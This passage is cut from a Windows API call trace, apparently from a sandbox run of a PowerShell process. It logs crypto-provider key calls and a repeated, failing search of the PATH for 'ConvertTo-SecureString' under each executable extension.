pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemAlloc (cb=0x20) returned 0x8e147c0 [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e147c0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e147c0, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemFree (pv=0x8e147c0) [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemAlloc (cb=0x20) returned 0x8e14c48 [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14c48, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14c48, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemFree (pv=0x8e14c48) [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemAlloc (cb=0x20) returned 0x8e14860 [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14860, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14860, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemFree (pv=0x8e14860) [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 0 [0121.445] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae748 | out: phKey=0x99ae748*=0x8e85378) returned 1 [0121.447] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0121.632] CryptExportKey (in: hKey=0x8e85378, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae738 | out: pbData=0x0*, pdwDataLen=0x99ae738*=0x2c) returned 1 [0121.636] CryptExportKey (in: hKey=0x8e85378, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x67d50c8, pdwDataLen=0x99ae738 | out: pbData=0x67d50c8*, pdwDataLen=0x99ae738*=0x2c) returned 1 [0121.719] CoTaskMemAlloc (cb=0x20e) returned 0x8e55ec8 [0121.719] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55ec8, nSize=0x105 | out: lpBuffer="\x5ed8\x8e5\x6bb8\x8e5\x0e") returned 0x0 [0121.720] CoTaskMemFree (pv=0x8e55ec8) [0121.720] CoTaskMemAlloc (cb=0x20e) returned 0x8e56318 [0121.720] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x8e56318, nSize=0x105 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0121.720] CoTaskMemFree (pv=0x8e56318) [0121.720] CoTaskMemAlloc (cb=0x20e) returned 0x8e55628 [0121.720] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x8e55628, nSize=0x105 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0121.720] CoTaskMemFree (pv=0x8e55628) [0121.720] CoTaskMemAlloc (cb=0x20e) returned 0x8e54938 [0121.720] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x8e54938, nSize=0x105 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0121.720] CoTaskMemFree (pv=0x8e54938) [0121.720] CoTaskMemAlloc (cb=0x20e) returned 0x8e54b60 [0121.720] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x8e54b60 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0121.720] CoTaskMemFree (pv=0x8e54b60) [0121.720] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.720] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.720] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.720] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x3e [0121.720] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x38 [0121.721] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.ps1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.721] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x3f [0121.721] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x39 [0121.721] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.psm1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.722] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x3f [0121.722] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x39 [0121.722] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.psd1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.722] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x3e [0121.722] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x38 [0121.722] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.COM", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.723] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x3e [0121.723] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x38 [0121.723] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.EXE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.724] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x3e [0121.724] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x38 [0121.724] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.BAT", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.725] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x3e [0121.725] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x38 [0121.725] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.CMD", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.725] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.726] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.726] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x3e [0121.726] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x38 [0121.726] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.VBS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.726] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.726] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.726] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x3e [0121.727] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x38 [0121.727] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.VBE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.727] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0121.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x3d [0121.727] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x37 [0121.727] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\ConvertTo-SecureString.JS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.728] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", 